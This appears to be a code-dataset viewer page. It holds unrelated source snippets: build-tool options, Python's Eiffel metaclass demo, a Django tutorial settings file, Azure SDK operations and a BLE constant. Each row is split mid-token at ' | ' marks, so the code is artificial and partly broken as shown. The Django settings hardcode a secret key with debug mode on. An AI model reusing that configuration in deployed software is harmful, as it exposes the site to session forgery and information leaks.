parser.add_option("-b", "--stop", default=None, metavar="STAGE",
help="Stop at build stage STAGE and drops into a shell")
parser.add_option("-s", "--showlog",
action="store_true", default=False,
help="Show the (also logged) output of build process")
parser.add_option("-k", "--keeproot", default=False,
action="store_true",
help="Do not remove the root after build (useful to use "
"with -l)")
parser.add_option("-i", "--id", default=None,
help=("Enter in an (supposedly) existing root named "
"ID (see -l)"))
parser.add_option("-l", "--latest", default=False,
action="store_true",
help=("Use the latest created root (when -k is used "
"beforehand)"))
parser.add_option("-K", "--keep-building", default=False,
action="store_true",
help=("Keep building the following packages when the "
"preceding one has failed (jurt aborts by default)."))
parser.add_option("-n", "--newid", default=None, metavar="ID",
help=("Set the name of the root to be created "
"(so that it can be reused with -i ID)"))
parser.add |
google/google-ctf | third_party/edk2/AppPkg/Applications/Python/Python-2.7.2/Demo/metaclasses/Eiffel.py | Python | apache-2.0 | 3,581 | 0.002234 | """Support Eiffel-style preconditions and postconditions.
For example,
class C:
def m1(self, arg):
require arg > 0
return whatever
ensure Result > arg
can be written (clumsily, I agree) as:
class C(Eiffel):
def m1(self, arg):
return whatever
def m1_pre(self, arg):
assert arg > 0
def m1_post(self, Result, arg):
assert Result > arg
Pre- and post-conditions for a method, being implemented as methods
themselves, are inherited independently from the method. This gives
much of the same effect of Eiffel, where pre- and post-conditions are
inherited when a method is overridden by a derived class. However,
when a derived class in Python needs to extend a pre- or
post-condition, it must manually merge the base class' pre- or
post-condition with that defined in the derived class', for example:
class D(C):
def m1(self, arg):
return arg**2
def m1_post(self, Result, arg):
C.m1_post(self, Result, arg)
assert Result < 100
This gives derived classes more freedom but also more responsibility
than in Eiffel, where the compiler automatically takes care of this.
In Eiffel, pre-conditions combine using contravariance, meaning a
derived class can only make a pre-condition weaker; in Python, this is
up to the derived class. For example, a derived class that takes away
the requirement that arg > 0 could write:
def m1_pre(self, arg):
pass
but one could equally write a derived class that makes a stronger
requirement:
def m1_pre(self, arg):
require arg > 50
It would be easy to modify the classes shown here so that pre- and
post-conditions can be disabled (separately, on a per-class basis).
A different design would have the pre- or post-condition testing
functions return true for success and false for failure. This would
make it possible to implement automatic combination of inherited
and new pre-/post-conditions. All this is left as an exercise to the
reader.
"""
from Meta import MetaClass, MetaHelper, MetaMethodWrapper
class EiffelMethodWrapper(MetaMethodWrapper):
def __init__(self, func, inst):
MetaMethodWrapper.__init__(self, func, inst)
# Note that the following causes recursive wrappers around
# the pre-/post-condition testing methods. These are harmless
# but inefficient; to avoid them, the | lookup must be done
# using the class.
try:
self.pre = getattr(inst, self.__name__ + "_pre")
except AttributeError:
self.pre = None
try:
self.post = getattr(inst, self.__name__ + "_post")
except AttributeError:
self.post = None
def __call__(self, *args, **kw):
if self.pre:
| apply(self.pre, args, kw)
Result = apply(self.func, (self.inst,) + args, kw)
if self.post:
apply(self.post, (Result,) + args, kw)
return Result
class EiffelHelper(MetaHelper):
__methodwrapper__ = EiffelMethodWrapper
class EiffelMetaClass(MetaClass):
__helper__ = EiffelHelper
Eiffel = EiffelMetaClass('Eiffel', (), {})
def _test():
class C(Eiffel):
def m1(self, arg):
return arg+1
def m1_pre(self, arg):
assert arg > 0, "precondition for m1 failed"
def m1_post(self, Result, arg):
assert Result > arg
x = C()
x.m1(12)
## x.m1(-1)
if __name__ == '__main__':
_test()
|
BostonMarcin/django_kurs | biblio/settings.py | Python | mit | 2,152 | 0.000465 | """
Django settings for biblio project.
For more information on this file, see
https://docs.djangoproject.com/en/1.7/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.7/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'lc#0%@@(tz-zm-@jhd&$6drqpli1&txiy@hw%w4l(1x_g7otos'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
TEMPLATE_DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = (
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.cont | rib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'shelf',
'contact',
'rental'
)
MIDDLEWARE_CLASSES = (
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.Se | ssionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
)
ROOT_URLCONF = 'biblio.urls'
WSGI_APPLICATION = 'biblio.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.7/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Internationalization
# https://docs.djangoproject.com/en/1.7/topics/i18n/
LANGUAGE_CODE = 'pl'
TIME_ZONE = 'Europe/Warsaw'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
STATIC_URL = '/static/'
TEMPLATE_DIRS = (
os.path.join(BASE_DIR, 'templates'),
) |
Azure/azure-sdk-for-python | sdk/network/azure-mgmt-network/azure/mgmt/network/v2021_02_01/aio/operations/_virtual_hub_bgp_connection_operations.py | Python | mit | 18,062 | 0.004927 | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is regenerated.
# --------------------------------------------------------------------------
from typing import Any, Callable, Dict, Generic, Optional, TypeVar, Union
import warnings
from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error
from azure.core.pipeline import PipelineResponse
from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest
from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod
from azure.mgmt.core.exceptions import ARMErrorFormat
from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling
from ... import models as _models
T = TypeVar('T')
ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]]
class VirtualHubBgpConnectionOperations:
"""VirtualHubBgpConnectionOperations async operations.
You should not instantiate this class directly. Instead, you should create a Client instance that
instantiates it for you and attaches it as an attribute.
:ivar models: Alias to model classes used in this operation group.
:type models: ~azure.mgmt.network.v2021_02_01.models
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An object model deserializer.
"""
models = _models
def __init__(self, client, config, serializer, deserializer) -> None:
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self._config = config
async def get(
self,
resource_group_name: str,
virtual_hub_name: str,
connection_name: str,
**kwargs: Any
) -> "_models.BgpConnection":
"""Retrieves the details of a Virtual Hub Bgp Connection.
:param resource_group_name: The resource group name of the VirtualHub.
:type resource_group_name: str
:param virtual_hub_name: The name of the VirtualHub.
:type virtual_hub_name: str
:param connection_name: The name of the connection.
:type connection_name: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: BgpConnection, or the result of cls(response)
:rtype: ~azure.mgmt.network.v2021_02_01.models.BgpConnection
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.BgpConnection"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2021-02-01"
accept = "application/json"
# Construct URL
url = self.get.metadata['url'] # type: ignore
path_format_arguments = {
'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'),
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
| 'virtualHubName': self._serialize.url("virtual_hub_name", virtual_hub_name, 'str'),
'connectionName': self._serialize.url("connection_name", connection_name, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers |
header_parameters = {} # type: Dict[str, Any]
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
request = self._client.get(url, query_parameters, header_parameters)
pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
deserialized = self._deserialize('BgpConnection', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualHubs/{virtualHubName}/bgpConnections/{connectionName}'} # type: ignore
async def _create_or_update_initial(
self,
resource_group_name: str,
virtual_hub_name: str,
connection_name: str,
parameters: "_models.BgpConnection",
**kwargs: Any
) -> "_models.BgpConnection":
cls = kwargs.pop('cls', None) # type: ClsType["_models.BgpConnection"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2021-02-01"
content_type = kwargs.pop("content_type", "application/json")
accept = "application/json"
# Construct URL
url = self._create_or_update_initial.metadata['url'] # type: ignore
path_format_arguments = {
'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'),
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'virtualHubName': self._serialize.url("virtual_hub_name", virtual_hub_name, 'str'),
'connectionName': self._serialize.url("connection_name", connection_name, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str')
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
body_content_kwargs = {} # type: Dict[str, Any]
body_content = self._serialize.body(parameters, 'BgpConnection')
body_content_kwargs['content'] = body_content
request = self._client.put(url, query_parameters, header_parameters, **body_content_kwargs)
pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200, 201]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
if response.status_code == 200:
deserialized = self._deserialize('BgpConnection', pipeline_response)
if response.status_code == 201:
deserialized = self._deserialize('BgpConnection', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
_create_or_update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualHubs/{virtualHubName}/bgpConnections/{connectionName}'} # type: ignore
async def begin_create_or_update(
self,
resource_group_name: str,
virtual_hub_name: str,
connection_name: str,
parameters: "_models.BgpConnec |
brettchien/PyBLEWrapper | pyble/const/profile/phone_alert_status.py | Python | mit | 26 | 0.038462 | N | AME="Phone Alert Stat | us"
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.